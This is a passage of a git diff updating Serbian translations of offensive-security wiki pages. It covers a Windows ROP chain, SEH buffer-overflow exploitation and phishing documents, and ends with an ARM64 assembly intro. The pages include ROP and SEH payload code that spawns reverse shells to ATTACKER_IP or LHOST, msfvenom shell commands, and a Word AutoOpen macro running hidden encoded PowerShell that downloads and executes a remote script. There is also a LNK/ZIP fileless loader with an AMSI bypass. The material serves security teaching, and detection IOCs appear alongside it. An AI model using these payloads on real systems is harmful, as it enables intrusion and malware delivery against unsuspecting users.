+1) Leak a module base (npr. via a format-string, object pointer, itd.) da biste izračunali apsolutne adrese gadget-a i IAT pod ASLR-om.
+2) Pronađite gadgets za učitavanje RCX/RDX/R8/R9 (pop ili mov/xor-based sekvence) i call/jmp [VirtualAlloc@IAT]. Ako nemate direktne pop r8/r9, koristite arithmetic gadgets da sintetizujete konstante (npr. set r8=0 i ponavljano dodajte r9=0x40 četrdeset puta da biste došli do 0x1000).
+3) Postavite stage-2 shellcode neposredno posle chain-a.
 
-Example layout (conceptual):
+Primer rasporeda (konceptualno):
 ```
 # ... padding up to saved RIP ...
 # R9 = 0x40 (PAGE_EXECUTE_READWRITE)
@@ -104,12 +104,12 @@ POP_RDX_RET; 0x1000
 JMP_SHELLCODE_OR_RET
 # ---- stage-2 shellcode (x64) ----
 ```
-Sa ograničenim gadget set-om, možete indirektno konstruisati vrednosti registara, na primer:
-- mov r9, rbx; mov r8, 0; add rsp, 8; ret → postavi r9 iz rbx, postavi r8 na 0 i kompenzuj stek jednim junk qword-om.
-- xor rbx, rsp; ret → inicijalizuje rbx vrednošću trenutnog pokazivača steka.
-- push rbx; pop rax; mov rcx, rax; ret → prebaci vrednost izvedenu iz RSP u RCX.
+Sa ograničenim gadget setom, možete indirektno konstruisati vrednosti registara, na primer:
+- mov r9, rbx; mov r8, 0; add rsp, 8; ret → postavlja r9 iz rbx, postavlja r8 na 0 i kompenzuje stack pomoću junk qword.
+- xor rbx, rsp; ret → inicijalizuje rbx sa trenutnim stack pointer-om.
+- push rbx; pop rax; mov rcx, rax; ret → prebacuje vrednost izvedenu iz RSP u RCX.
 
-Pwntools skica (uz poznatu osnovnu adresu i gadgets):
+Pwntools skica (uz poznatu bazu i gadgets):
 ```python
 from pwn import *
 base = 0x7ff6693b0000
@@ -132,27 +132,27 @@ rop += p64(base+POP_RDX_RET) + p64(0x1000)
 rop += p64(IAT_VirtualAlloc)
 rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT))
 ```
-Tips:
-- VirtualProtect radi slično ako je poželjno da postojeći buffer učinite RX; redosled parametara je drugačiji.
-- Ako je prostor na stack-u ograničen, alocirajte RWX negde drugde (RCX=NULL) i jmp na taj novi region umesto ponovnog korišćenja stack-a.
-- Uvek uzmite u obzir gadgets koji menjaju RSP (npr., add rsp, 8; ret) ubacivanjem junk qwords.
+Saveti:
+- VirtualProtect radi slično ako je poželjnije da postojeći buffer postane RX; redosled parametara je drugačiji.
+- Ako je prostor na stack-u ograničen, alocirajte RWX negde drugde (RCX=NULL) i jmp na tu novu regiju umesto ponovnog korišćenja stack-a.
+- Uvek uzimajte u obzir gadgets koji podešavaju RSP (npr. add rsp, 8; ret) tako što ćete ubaciti junk qwords.
 
 
-- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **should be disabled** da bi adresa bila pouzdana između izvršenja — inače adresa gde će funkcija biti smeštena neće uvek biti ista i trebalo bi da imate neki leak kako biste utvrdili gde je win function učitana.
-- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) treba takođe da budu onemogućene, inače kompromitovani EIP return address nikada neće biti iskorišćen.
-- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** zaštita bi sprečila izvršavanje shellcode-a unutar stack-a jer taj region neće biti izvršan.
+- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **bi trebalo da bude onemogućen** da bi adresa bila pouzdana preko izvršenja, inače adresa na kojoj će funkcija biti smeštena neće uvek biti ista i moraćete da koristite neki leak da biste utvrdili gde je win function učitana.
+- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) takođe bi trebalo da budu onemogućeni, inače kompromitovana EIP return adresa nikada neće biti iskorišćena.
+- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** zaštita bi sprečila izvršavanje shellcode-a unutar stack-a jer ta regija neće biti izvršna.
 
-## Other Examples & References
+## Ostali primeri i reference
 
 - [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
 - [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
-- 64bit, ASLR sa stack address leak, pisanje shellcode-a i jmp na njega
+- 64bit, ASLR sa stack address leak, write shellcode i jump na njega
 - [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
-- 32 bit, ASLR sa stack leak, pisanje shellcode-a i jmp na njega
+- 32 bit, ASLR sa stack leak, write shellcode i jump na njega
 - [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
-- 32 bit, ASLR sa stack leak, poređenje da bi se sprečio poziv exit(), prepisivanje promenljive vrednošću i pisanje shellcode-a i jmp na njega
+- 32 bit, ASLR sa stack leak, poređenje da bi se sprečio poziv exit(), overwrite varijable nekom vrednošću, pa write shellcode i jump na njega
 - [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
-- arm64, bez ASLR, ROP gadget da učini stack izvršnim i jmp na shellcode u stack-u
+- arm64, no ASLR, ROP gadget za učiniti stack izvršnim i skok na shellcode u stack-u
 
 
 ## References

src/binary-exploitation/stack-overflow/windows-seh-overflow.md

@@ -2,24 +2,24 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-SEH-based exploitation je klasična x86 Windows tehnika koja zloupotrebljava Structured Exception Handler lanac smešten na steku. Kada stack buffer overflow prepiše dva 4-bajtna polja
+SEH-based exploitation je klasična x86 Windows tehnika koja zloupotrebljava lanac Structured Exception Handler koji se nalazi na steku. Kada preliv bafera na steku (stack buffer overflow) prepiše dva 4-bajtna polja
 
-- nSEH: pointer to the next SEH record, and
-- SEH: pointer to the exception handler function
+- nSEH: pokazivač na sledeći SEH zapis, i
+- SEH: pokazivač na funkciju rukovaoca izuzetkom
 
-napadač može preuzeti kontrolu izvršavanja tako što:
+napadač može preuzeti kontrolu izvršavanja na sledeći način:
 
-1) Podesi SEH na adresu POP POP RET gadget-a u modul-u bez zaštite, tako da kada se desi exception gadget vrati izvršavanje u napadačem kontrolisane bajtove, i
-2) Iskoristi nSEH da preusmeri izvršavanje (tipično kratki skok) nazad u veliki overflow buffer gde se nalazi shellcode.
+1) Postavljanjem SEH na adresu POP POP RET gadgeta u modulu bez zaštite, tako da kada se desi izuzetak taj gadget vrati kontrolu u bajtove koje kontroliše napadač, i
+2) Korišćenjem nSEH za preusmeravanje izvršavanja (obično kratki skok) nazad u veliki prelivajući bafer gde se nalazi shellcode.
 
-Ova tehnika je specifična za 32-bit procese (x86). Na modernim sistemima, preferiraj modul bez SafeSEH i ASLR za gadget. Loši karakteri često uključuju 0x00, 0x0a, 0x0d (NUL/CR/LF) zbog C-strings i HTTP parsiranja.
+Ova tehnika je specifična za 32-bit procese (x86). Na modernim sistemima, preferirajte modul bez SafeSEH i ASLR za gadget. Loši karakteri često uključuju 0x00, 0x0a, 0x0d (NUL/CR/LF) zbog C-strings i parsiranja HTTP zahteva.
 
 ---
 
-## Pronalaženje tačnih offseta (nSEH / SEH)
+## Pronalaženje tačnih ofseta (nSEH / SEH)
 
-- Sruši proces i proveri da li je SEH lanac prepisan (npr. u x32dbg/x64dbg, proveri SEH view).
-- Pošalji cyclic pattern kao overflowing podatke i izračunaj offset-e dva dword-a koja završe u nSEH i SEH.
+- Srušite proces i proverite da li je SEH lanac prepisan (npr. u x32dbg/x64dbg, proverite SEH view).
+- Pošaljite ciklični uzorak kao podatke koji prelivaju i izračunajte ofsete dva dword-a koja dospevaju u nSEH i SEH.
 
 Primer sa peda/GEF/pwntools na POST telu od 1000 bajtova:
 ```bash
@@ -39,18 +39,18 @@ Validate by placing markers at those positions (e.g., nSEH=b"BB", SEH=b"CC"). Ke
 
 ## Izbor POP POP RET (SEH gadget)
 
-Treba vam POP POP RET sekvenca da rasklopi SEH okvir i vrati kontrolu u vaše nSEH bajtove. Pronađite je u modulu bez SafeSEH i po mogućstvu bez ASLR:
+Potrebna vam je POP POP RET sekvenca da bi se unwind-ovao SEH frame i vratilo na vaše nSEH bajtove. Pronađite je u modulu bez SafeSEH i idealno bez ASLR:
 
 - Mona (Immunity/WinDbg): `!mona modules` zatim `!mona seh -m modulename`.
-- x64dbg plugin ERC.Xdbg: `ERC --SEH` da prikaže POP POP RET gadget-e i SafeSEH status.
+- x64dbg plugin ERC.Xdbg: `ERC --SEH` da prikaže POP POP RET gadgets i SafeSEH status.
 
-Izaberite adresu koja ne sadrži badchars kada se upiše little-endian (npr., `p32(0x004094D8)`). Preferirajte gadget-e unutar ranjivog binarnog fajla ako zaštite to dopuštaju.
+Odaberite adresu koja ne sadrži badchars kada se napiše little-endian (npr., `p32(0x004094D8)`). Preferirajte gadgets unutar ranjivog binarnog fajla ako zaštite dozvoljavaju.
 
 ---
 
 ## Jump-back technique (short + near jmp)
 
-nSEH je samo 4 bajta, što odgovara najviše 2-bajtnom short jump-u (`EB xx`) plus padding. Ako morate da se vratite unazad stotinama bajtova da biste dosegnuli početak buffera, koristite 5-bajtnu near jump koja je postavljena neposredno pre nSEH i povežite se na nju short jump-om iz nSEH.
+nSEH is only 4 bytes, which fits at most a 2-byte short jump (`EB xx`) plus padding. If you must jump back hundreds of bytes to reach your buffer start, use a 5-byte near jump placed right before nSEH and chain into it with a short jump from nSEH.
 
 With nasmshell:
 ```text
@@ -61,7 +61,7 @@ EBF6
 nasm> jmp -652           ; 8 bytes closer (to account for short-jmp hop)
 E96FFDFFFF
 ```
-Ideja rasporeda za 1000-byte payload sa nSEH na offsetu 660:
+Predlog rasporeda za 1000-byte payload sa nSEH na offsetu 660:
 ```python
 buffer_length = 1000
 payload  = b"\x90"*50 + shellcode                    # NOP sled + shellcode at buffer start
@@ -71,40 +71,40 @@ payload += b"\xEB\xF6" + b"BB"                      # nSEH: short jmp -8 + 2B pa
 payload += p32(0x004094D8)                           # SEH: POP POP RET (no badchars)
 payload += b"D" * (buffer_length - len(payload))
 ```
-Tok izvršavanja:
+Tok izvršenja:
 - Dogodi se izuzetak, dispatcher koristi prepisani SEH.
-- POP POP RET povlači izvršavanje u naš nSEH.
+- POP POP RET prelazi u naš nSEH.
 - nSEH izvršava `jmp short -8` u 5-byte near jump.
-- Near jump dospeva na početak našeg buffer-a gde se nalazi NOP sled + shellcode.
+- Near jump dospeva na početak našeg buffera gde se nalaze NOP sled + shellcode.
 
 ---
 
-## Bad characters
+## Loši karakteri
 
-Sastavite potpuni badchar string i uporedite stack memoriju nakon pada, izbacujući bajtove koje ciljni parser oštećuje. Za HTTP-based overflows, `\x00\x0a\x0d` su gotovo uvek izuzeti.
+Sastavi kompletan badchar string i uporedi stack memory nakon crash-a, uklanjajući bajtove koje target parser izmeni. Za HTTP-based overflows, `\x00\x0a\x0d` su gotovo uvek isključeni.
 ```python
 badchars = bytes([x for x in range(1,256)])
 payload  = b"A"*660 + b"BBBB" + b"CCCC" + badchars  # position appropriately for your case
 ```
 ---
 
-## Generisanje Shellcode-a (x86)
+## Generisanje shellcode-a (x86)
 
-Koristite msfvenom sa vašim badchars. Mali NOP sled pomaže tolerisati varijacije u mestu dosedanja.
+Koristite msfvenom sa svojim badchars. Mali NOP sled pomaže tolerisati varijacije u mestu izvršenja.
 ```bash
 msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
 -b "\x00\x0a\x0d" -f python -v sc
 ```
-Ako se generiše u letu, hex format je pogodan za embed i unhex u Pythonu:
+Ako se generiše u letu, hex format je zgodan za ubacivanje i unhex u Pythonu:
 ```bash
 msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
 -b "\x00\x0a\x0d" -f hex
 ```
 ---
 
-## Slanje preko HTTP-a (precizni CRLF + Content-Length)
+## Isporuka preko HTTP-a (precizni CRLF + Content-Length)
 
-Kada je ranjivi vektor HTTP request body, sastavite raw request sa tačnim CRLF-ovima i Content-Length-om tako da server pročita ceo overflowing body.
+Kada je ranjivi vektor telo HTTP zahteva, sastavite sirov zahtev sa tačnim CRLF-ovima i Content-Length-om tako da server pročita celo telo koje preljeva.
 ```python
 # pip install pwntools
 from pwn import remote
@@ -127,19 +127,19 @@ p.close()
 
 ## Alati
 
-- x32dbg/x64dbg za posmatranje SEH lanaca i trijažu pada procesa.
-- ERC.Xdbg (dodatak za x64dbg) za nabrajanje SEH gadgets: `ERC --SEH`.
+- x32dbg/x64dbg za posmatranje SEH chain-a i trijažu pada.
+- ERC.Xdbg (x64dbg plugin) za enumeraciju SEH gadgeta: `ERC --SEH`.
 - Mona kao alternativa: `!mona modules`, `!mona seh`.
 - nasmshell za sastavljanje short/near jumps i kopiranje raw opcodes.
-- pwntools za kreiranje preciznih mrežnih payload-ova.
+- pwntools za kreiranje preciznih network payloads.
 
 ---
 
-## Napomene i upozorenja
+## Napomene i ograničenja
 
-- Ovo se odnosi samo na x86 procese. x64 koristi drugačiju SEH šemu i eksploatacija bazirana na SEH obično nije izvodljiva.
-- Preferirajte gadgets u modulima bez SafeSEH i ASLR; u suprotnom, pronađite nezaštićeni modul učitan u procesu.
-- Servisni watchdog-ovi koji se automatski restartuju nakon pada mogu olakšati iterativni razvoj exploita.
+- Odnosi se samo na x86 procese. x64 koristi drugačiju SEH šemu i eksploatacija zasnovana na SEH-u generalno nije izvodljiva.
+- Preferirajte gadgete u modulima bez SafeSEH i ASLR; u suprotnom pronađite nezaštićeni modul učitan u procesu.
+- Watchdog servisi koji se automatski restartuju nakon pada mogu olakšati iterativni razvoj exploita.
 
 ## References
 - [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)

src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md

@@ -1,22 +1,22 @@
-# Phishing Fajlovi & Dokumenti
+# Phishing fajlovi i dokumenti
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Office Dokumenti
+## Office dokumenti
 
-Microsoft Word vrši validaciju podataka fajla pre nego što otvori fajl. Validacija podataka se izvodi u obliku identifikacije strukture podataka, u skladu sa OfficeOpenXML standardom. Ako se pojavi bilo koja greška tokom identifikacije strukture podataka, fajl koji se analizira neće biti otvoren.
+Microsoft Word vrši validaciju podataka fajla pre otvaranja. Validacija podataka se vrši u obliku identifikacije strukture podataka, u skladu sa OfficeOpenXML standardom. Ako dođe do bilo koje greške tokom identifikacije strukture podataka, fajl koji se analizira neće biti otvoren.
 
-Uobičajeno, Word fajlovi koji sadrže makroe koriste ekstenziju `.docm`. Međutim, moguće je preimenovati fajl menjajući ekstenziju i i dalje zadržati mogućnost izvršavanja makroa.\
-Na primer, RTF fajl po dizajnu ne podržava makroe, ali DOCM fajl preimenovan u RTF biće tretiran od strane Microsoft Worda i biće sposoban za izvršavanje makroa.\
-Ista interna struktura i mehanizmi važe za sav softver iz Microsoft Office Suite-a (Excel, PowerPoint itd.).
+Obično Word fajlovi koji sadrže macros koriste `.docm` ekstenziju. Međutim, moguće je preimenovati fajl promenom ekstenzije i ipak zadržati mogućnost izvršavanja njihovih macros.\  
+Na primer, RTF fajl po dizajnu ne podržava macros, ali DOCM fajl preimenovan u RTF će biti tretiran od strane Microsoft Word i biće sposoban za izvršavanje macros.\  
+Isti internals i mehanizmi važe za sav softver iz Microsoft Office Suite (Excel, PowerPoint etc.).
 
 Možete koristiti sledeću komandu da proverite koje ekstenzije će biti izvršavane od strane nekih Office programa:
 ```bash
 assoc | findstr /i "word excel powerp"
 ```
-DOCX files referencing a remote template (File –Options –Add-ins –Manage: Templates –Go) that includes macros can “execute” macros as well.
+DOCX fajlovi koji referenciraju udaljeni template (File –Options –Add-ins –Manage: Templates –Go) koji uključuje macros mogu takođe “izvršavati” macros.
 
-### External Image Load
+### Učitavanje eksternih slika
 
 Idite na: _Insert --> Quick Parts --> Field_\
 _**Categories**: Links and References, **Filed names**: includePicture, and **Filename or URL**:_ http://<ip>/whatever
@@ -25,16 +25,16 @@ _**Categories**: Links and References, **Filed names**: includePicture, and **Fi
 
 ### Macros Backdoor
 
-Moguće je koristiti makroe da biste pokrenuli proizvoljni kod iz dokumenta.
+Moguće je koristiti macros za pokretanje proizvoljnog koda iz dokumenta.
 
-#### Autoload functions
+#### Funkcije za automatsko učitavanje
 
 Što su češće, to je verovatnije da će ih AV detektovati.
 
 - AutoOpen()
 - Document_Open()
 
-#### Macros Code Examples
+#### Macros Primeri koda
 ```vba
 Sub AutoOpen()
 CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
@@ -64,14 +64,14 @@ Dim proc As Object
 Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
 proc.Create "powershell <beacon line generated>
 ```
-#### Manually remove metadata
+#### Ručno uklonite metapodatke
 
-Idite na **File > Info > Inspect Document > Inspect Document**, što će otvoriti Document Inspector. Kliknite **Inspect** i zatim **Remove All** pored **Document Properties and Personal Information**.
+Idite na **File > Info > Inspect Document > Inspect Document**, što će otvoriti Inspektor dokumenta. Kliknite **Inspect** i zatim **Remove All** pored **Document Properties and Personal Information**.
 
-#### Doc Extension
+#### Ekstenzija dokumenta
 
-Kada završite, izaberite padajući meni **Save as type**, promenite format iz **`.docx`** u **Word 97-2003 `.doc`**.\
-Radite to zato što **you can't save macro's inside a `.docx`** i postoji stigma oko macro-enabled **`.docm`** ekstenzije (npr. ikona sličice ima veliki `!` i neki web/email gateway blokiraju ih u potpunosti). Stoga je ova nasleđena `.doc` ekstenzija najbolji kompromis.
+Kada završite, izaberite padajući meni **Save as type**, promenite format sa **`.docx`** na **Word 97-2003 `.doc`**.\
+Uradite ovo zato što **ne možete sačuvati makroe unutar `.docx`** i postoji **stigmatizacija** oko makro-omogućenog **`.docm`** formata (npr. sličica ima veliki `!` i neki web/email gateway-ovi ih potpuno blokiraju). Stoga je ova **nasleđena `.doc` ekstenzija najbolji kompromis**.
 
 #### Malicious Macros Generators
 
@@ -81,9 +81,9 @@ Radite to zato što **you can't save macro's inside a `.docx`** i postoji stigma
 
 ## HTA Files
 
-HTA je Windows program koji **combines HTML and scripting languages (such as VBScript and JScript)**. On generiše korisnički interfejs i izvršava se kao "fully trusted" aplikacija, bez ograničenja sigurnosnog modela pregledača.
+HTA je Windows program koji **kombinuje HTML i skriptne jezike (kao što su VBScript i JScript)**. Generiše korisnički interfejs i izvršava se kao aplikacija kojoj je u potpunosti verovano, bez ograničenja sigurnosnog modela pregledača.
 
-HTA se izvršava pomoću **`mshta.exe`**, koji je tipično **installed** zajedno sa **Internet Explorer**, što čini **`mshta` dependant on IE**. Dakle, ako je on deinstaliran, HTA fajlovi neće moći da se izvrše.
+HTA se izvršava pomoću **`mshta.exe`**, koji je obično **instaliran** zajedno sa **Internet Explorer**, što čini **`mshta` dependant on IE**. Dakle, ako je on deinstaliran, HTA fajlovi neće moći da se izvrše.
 ```html
 <--! Basic HTA Execution -->
 <html>
@@ -140,7 +140,7 @@ self.close
 ```
 ## Forsiranje NTLM autentifikacije
 
-Postoji nekoliko načina da se **forsira NTLM autentifikacija "na daljinu"**, na primer, možete dodati **nevidljive slike** u emailove ili HTML koje će korisnik otvoriti (čak i HTTP MitM?). Ili poslati žrtvi **adresu fajlova** koja će **pokrenuti** **autentifikaciju** samo otvaranjem mape.
+Postoji nekoliko načina da **forsirate NTLM autentifikaciju "remotely"**, na primer, možete dodati **nevidljive slike** u emailove ili HTML koje će korisnik otvoriti (čak i HTTP MitM?). Ili poslati žrtvi **adresu fajlova** koja će **pokrenuti** **autentifikaciju** samo otvaranjem fascikle.
 
 **Pogledajte ove ideje i još više na sledećim stranicama:**
 
@@ -156,24 +156,24 @@ Postoji nekoliko načina da se **forsira NTLM autentifikacija "na daljinu"**, na
 
 ### NTLM Relay
 
-Ne zaboravite da pored krađe heša ili autentifikacije možete i **perform NTLM relay attacks**:
+Ne zaboravite da ne možete samo ukrasti heš ili autentifikaciju, već i **perform NTLM relay attacks**:
 
 - [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
 - [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
 
 ## LNK Loaders + ZIP-Embedded Payloads (fileless chain)
 
-Veoma efikasne kampanje isporučuju ZIP koji sadrži dva legitimna mamca dokumenta (PDF/DOCX) i zlonamerni .lnk. Trik je u tome što je stvarni PowerShell loader smešten unutar sirovih bajtova ZIP-a nakon jedinstvenog markera, a .lnk ga izdvaja i izvršava potpuno u memoriji.
+Vrlo efikasne kampanje isporučuju ZIP koji sadrži dva legitimna decoy dokumenta (PDF/DOCX) i maliciozni .lnk. Trik je u tome da je stvarni PowerShell loader smešten unutar sirovih bajtova ZIP-a nakon jedinstvenog markera, a .lnk ga izdvoji i izvršava potpuno u memoriji.
 
-Tipični tok koji implementira .lnk PowerShell one-liner:
+Tipičan tok koji implementira .lnk PowerShell one-liner:
 
-1) Pronađi originalni ZIP u uobičajenim putanjama: Desktop, Downloads, Documents, %TEMP%, %ProgramData% i roditelj trenutnog radnog direktorijuma.
-2) Pročitaj bajtove ZIP-a i pronađi hardkodovani marker (npr. xFIQCV). Sve nakon markera je ugrađeni PowerShell payload.
-3) Kopiraj ZIP u %ProgramData%, raspakuj tamo i otvori mamac .docx da bi izgledalo legitimno.
+1) Pronađi originalni ZIP u uobičajenim putanjama: Desktop, Downloads, Documents, %TEMP%, %ProgramData% i roditeljskom direktorijumu trenutnog radnog direktorijuma.
+2) Pročitaj bajtove ZIP-a i pronađi hardkodovani marker (npr. xFIQCV). Sve posle markera je ugrađeni PowerShell payload.
+3) Kopiraj ZIP u %ProgramData%, ekstrahuj tamo i otvori decoy .docx da bi izgledalo legitimno.
 4) Zaobiđi AMSI za trenutni proces: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
-5) Deobfuskuj narednu fazu (npr. ukloni sve # karaktere) i izvrši je u memoriji.
+5) Deobfuskuj sledeću fazu (npr. ukloni sve # karaktere) i izvrši je u memoriji.
 
-Primer PowerShell skeleta za izdvajanje i pokretanje ugrađene faze:
+Primer PowerShell kostura za izdvajanje i pokretanje ugrađene faze:
 ```powershell
 $marker   = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
 $paths    = @(
@@ -191,21 +191,21 @@ $code  = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
 Invoke-Expression $code
 ```
 Napomene
-- Delivery često zloupotrebljava pouzdane PaaS poddomene (npr. *.herokuapp.com) i može ograničiti pristup payloads (servira benign ZIP-ove na osnovu IP/UA).
-- Sledeća faza često dešifruje base64/XOR shellcode i izvršava ga putem Reflection.Emit + VirtualAlloc kako bi minimalizovala tragove na disku.
+- Dostava često zloupotrebljava ugledne PaaS poddomene (npr. *.herokuapp.com) i može uslovljavati payloads (servira benign ZIPs bazirano na IP/UA).
+- Sledeća faza često dekriptuje base64/XOR shellcode i izvršava ga putem Reflection.Emit + VirtualAlloc kako bi se minimizovali artefakti na disku.
 
 Persistence korišćena u istom lancu
-- COM TypeLib hijacking of the Microsoft Web Browser control tako da IE/Explorer ili bilo koja aplikacija koja ga ugradjuje automatski ponovo pokrene payload. See details and ready-to-use commands here:
+- COM TypeLib hijacking of the Microsoft Web Browser control tako da IE/Explorer ili bilo koja aplikacija koja ga ugrađuje ponovo automatski pokreće payload. See details and ready-to-use commands here:
 
 {{#ref}}
 ../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md
 {{#endref}}
 
 Hunting/IOCs
-- ZIP files containing the ASCII marker string (npr. xFIQCV) dodat na podatke arhive.
-- .lnk koji enumeriše parent/user foldere da pronađe ZIP i otvara lažni dokument.
+- ZIP fajlovi koji sadrže ASCII marker string (npr. xFIQCV) dodat na podatke arhive.
+- .lnk koji enumeriše parent/user foldere da pronađe ZIP i otvara decoy dokument.
 - AMSI manipulacija putem [System.Management.Automation.AmsiUtils]::amsiInitFailed.
-- Dugotrajni poslovni thread-ovi koji se završavaju linkovima hostovanim pod pouzdanim PaaS domenima.
+- Dugotrajne poslovne konverzacije koje se završavaju linkovima hostovanim na pouzdanim PaaS domenima.
 
 ## References
 

src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md

@@ -1,257 +1,260 @@
-# Увод у ARM64v8
+# Uvod u ARM64v8
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## **Нивои Изузећа - EL (ARM64v8)**
+## **Nivoi izuzetaka - EL (ARM64v8)**
 
-У ARMv8 архитектури, нивои изузећа, познати као Нивои Изузећа (EL), дефинишу ниво привилегија и способности извршног окружења. Постоје четири нивоа изузећа, од EL0 до EL3, од којих сваки служи различитој сврси:
+U ARMv8 arhitekturi, nivoi izvršavanja, poznati kao Exception Levels (EL), definišu nivo privilegija i mogućnosti izvršnog okruženja. Postoje četiri nivoa izuzetaka, od EL0 do EL3, od kojih svaki ima različitu namenu:
 
-1. **EL0 - Режим корисника**:
-- Ово је најмање привилегован ниво и користи се за извршавање редовног кода апликација.
-- Апликације које раде на EL0 су изоловане једна од друге и од системског софтвера, што побољшава безбедност и стабилност.
-2. **EL1 - Режим језгра оперативног система**:
-- Већина језгара оперативних система ради на овом нивоу.
-- EL1 има више привилегија од EL0 и може приступити системским ресурсима, али уз нека ограничења ради очувања интегритета система.
-3. **EL2 - Режим хипервизора**:
-- Овај ниво се користи за виртуализацију. Хипервизор који ради на EL2 може управљати више оперативних система (сваки у свом EL1) који раде на истом физичком хардверу.
-- EL2 пружа функције за изолацију и контролу виртуализованих окружења.
-4. **EL3 - Режим сигурног монитора**:
-- Ово је најпривилегованији ниво и често се користи за сигурно покретање и окружења за поверење у извршавање.
-- EL3 може управљати и контролисати приступе између сигурних и несигурних стања (као што су сигурно покретање, поверење у ОС, итд.).
+1. **EL0 - User Mode**:
+- Najmanje privilegovani nivo i koristi se za izvršavanje običnog aplikativnog koda.
+- Aplikacije koje rade na EL0 su izolovane jedna od druge i od sistemskog softvera, što povećava sigurnost i stabilnost.
+2. **EL1 - Operating System Kernel Mode**:
+- Većina operativnih sistema kernela radi na ovom nivou.
+- EL1 ima više privilegija nego EL0 i može pristupiti sistemskim resursima, ali uz neka ograničenja radi očuvanja integriteta sistema.
+3. **EL2 - Hypervisor Mode**:
+- Ovaj nivo se koristi za virtualizaciju. Hipervizor koji radi na EL2 može upravljati više operativnih sistema (svaki u svom EL1) na istom fizičkom hardveru.
+- EL2 obezbeđuje funkcije za izolaciju i kontrolu virtualizovanih okruženja.
+4. **EL3 - Secure Monitor Mode**:
+- Najprivilegovaniji nivo, često korišćen za secure boot i trusted execution okruženja.
+- EL3 može upravljati pristupima između secure i non-secure stanja (npr. secure boot, trusted OS, itd.).
 
-Користење ових нивоа омогућава структурисан и сигуран начин управљања различитим аспектима система, од корисничких апликација до најпривилегованијег системског софтвера. Приступ ARMv8 нивима привилегија помаже у ефикасном изоловању различитих компоненти система, чиме се побољшава безбедност и робусност система.
+Korišćenje ovih nivoa omogućava strukturiran i bezbedan način upravljanja različitim aspektima sistema, od korisničkih aplikacija do najprivilegovanijeg sistemskog softvera. ARMv8-ov pristup privilegijama pomaže u efikasnoj izolaciji komponenti sistema, čime se poboljšava sigurnost i stabilnost sistema.
 
-## **Регистри (ARM64v8)**
+## **Registri (ARM64v8)**
 
-ARM64 има **31 регистар опште намене**, обележен `x0` до `x30`. Сваки може да чува **64-битну** (8-бајтну) вредност. За операције које захтевају само 32-битне вредности, исти регистри могу бити доступни у 32-битном режиму користећи имена w0 до w30.
